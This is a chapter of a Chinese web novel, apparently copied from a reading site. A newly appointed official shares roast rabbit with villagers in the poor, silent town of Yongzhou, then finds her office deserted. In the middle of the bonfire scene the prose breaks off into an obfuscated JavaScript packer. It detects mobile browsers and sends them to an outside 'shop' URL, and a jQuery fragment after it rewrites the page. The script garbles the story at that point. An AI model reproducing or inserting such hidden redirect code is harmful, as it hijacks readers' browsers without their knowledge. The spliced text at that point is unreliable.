王筱琦已经顾不上害怕了，满心满眼的都是姜桓月描绘的烤兔子。 两人开始聊起了吃过的各地美味，身后的仆从也都伸长耳朵，听得口生津唾。 在王筱琦没有注意的时候，姜桓月偷偷在袖子用帕子角擦掉了手心的汗，不经意地挨近了王筱琦。 起风了，树叶沙沙作响，半挂着的窗户纸在风中扇动，不知是哪处门窗的缝隙，似有似无地发出凄厉的尖啸。 王筱琦没说话，只是脸又白了下来。 姜桓月也没有，面色还算镇定，唯有唇上齿痕格外显眼。 不知为何，老丈去得格外久。 姜桓月心里毛毛的，这里实在是有些古怪，整个邕州除了老丈，她们到现在还未见过任何人。 她不是没有去过穷苦之地，可从未遇着邕州这般死寂的，连声鸟叫都未曾听到。 “别驾，我们来了！” 王筱琦两眼放光，姜桓月心里亦是缓了口气，老丈出现在了路的尽头，跟着三个提着工具的结实汉子和一位女娘。 “别驾，这都是我们这儿一等一的好手，绝对能把兔子逮得干干净净。”老丈又指着女娘，“这是我孙女，别看她是女娘，但五岁就能找准兔子窝了。” 四人手脚麻利，各自把住院中方位，仔细端详，又钻进草丛。 不一会儿，高高兴兴地拎着兔子出来。笼子里塞不下，便捆住兔腿，扔在院里的空地上，大大小小算起来竟有八九只。 一个年轻些的汉子掂量着手底下的分量，又捏捏兔腿，咧开嘴，手舞足蹈：“这兔子肥！衙门里真是个风水宝地！今晚能吃顿好的了！” 另一个汉子大手一挥又扔下两只，晃晃脑袋，抖落发上的汗珠，豪爽道：“今日请别驾也试试我们邕州风味！” 老丈亦笑得眉不见眼：“别驾见多识广，什么没见过，才不差你们这点子呢！” 姜桓月笑道：“有好东西，当然不能少了我，我一定是要尝尝的！到时也请你们尝尝我的做法！” “好！”年轻汉子第一个带头响应，额上汗珠在暖黄日光下熠熠闪光。 众人齐声答应。 - 傍晚，衙门后院点起篝火。 在众人相帮之下，姜桓月一行人收拾出了晚上的落脚之地。 此时，众人一同围坐在篝火旁，炉子咕噜噜冒着泡，里面熬着汤羹，一边架着烤架， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569472|187034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜桓月转动着木棍，火焰均匀舔舐着每一寸兔肉，颜色愈发诱人，另一边是个简易的土窖，下面烧着稻草，清新的草香和鲜嫩的肉香直往鼻尖窜去。 年轻汉子喉头滚动，瞟了一眼兔肉，又赶紧扭过头去。 姜桓月不由发笑，用匕首割下边缘的一块递给他：“来，试试我的手艺！” 年轻汉子接过兔肉，深深吸一口气，面色陶醉，竖起拇指：“香！”启齿咬下，开始哈气，“烫烫烫！”他在地上跳脚，大声哈气，却又不肯把肉放下。 好一会儿，才咽进肚里。 兔肉进肚后，他望着烤架上兔肉的眼神愈发的恋恋不舍。 “别驾，您可不能独独对这小子偏心啊！”是此前那位女娘，经历了半天，渐渐放开性子，见年轻汉子情态，笑着出言。 旁边另一汉子道：“徐妮子怕是也馋了吧？” “怎么，只许何哥吃，就不许我先尝尝？” 年轻汉子，也就是徐女娘口中的何哥，闻言挠挠头，憨憨地笑了。 方才的汉子笑了：“徐妮子好一张利嘴，我们哪说得过你！” “肉好了！” 只一句话，众人的吵嘴就止住。 土窖打开，锁在里面的霸道香气刹时萦绕整个后院 烤架上兔肉被取下，金黄的酥皮泛着玉色，干香扑鼻。 众人呼吸中已填满了各色香气，眼睛也快不够用。 兔肉一块块分好，依次递至手中。 有的等不及用碗，直接抓着啃，再盛上一碗带肉的汤羹，喝下，站着从头到脚都暖烘烘的，大呼：“畅快！” 还有的斯文些，端着碗，盘腿坐在篝火旁，在大快朵颐。 王筱琦吃得头也不抬：“桓月，你说得对，兔肉果然香！若能天天吃到这些，便是苦些累些，我也乐意。” 姜桓月望着篝火前的一张张笑脸，轻声道：“会的。” “别驾，快来吃！今日这一顿可是托了别驾的福！别一会儿全让那些没数的小子吃光了。” 众人哈哈大笑，火光下古铜色的肤色眼中俱是亮得惊人。 “我就来！”姜桓月端着碗，坐在众人当中。 “别驾，这兔腿最好，我特意给你留的。” “你留的是前腿，哪有我这个后腿好，别驾吃我的。” 姜桓月的眼前忽然模糊。 这夜，直到亥时，众人才散去。 - 第二日，城中再度空无一人。 州衙里静悄悄的，姜桓月官服严整，坐在正堂。 “桓月，他们也太过分了！”王筱琦很是气恼，“昨日还和我们有说有笑，第一日上任就给你难堪，哪有光杆的别驾！传出去肯定被人看笑话。” 姜桓月默然，亦觉得棘手，环顾一圈，除了她、王筱琦并带来的家丁，根本无人来上值，连老丈都不在。 昨夜种种宛若一场幻梦。 她自以为收服了几分民心，没想到今日还是陷入了堂下无人的窘境。 姜桓月暗自叹息，到底还是邕州太穷。 近日是秋收，众人一年都指着地里收成，无论男女老幼都在田里。 州衙属官皆是邕州人，都回家中帮忙去了，老丈还是因为要等姜桓月这位新上任的别驾，昨日才特意留下。 关乎一家老小生计的大事，如何比得上她这个不毫无根基、不知能待多久的别驾？ 姜桓月心底清明，他们不相信自己能够改变邕州什么。 对于邕州人而言，她就是过客。 姜桓月仰头，望着远处熹微的晨光，像是告诉王筱琦，也是对自己立誓：“这一切，我们都会改变的。” 话音落地有声，携着不可动摇的力量。 姜桓月更明白，自己不能只守在州衙。 步入后堂，换了身简便装束：“筱琦，我们走！”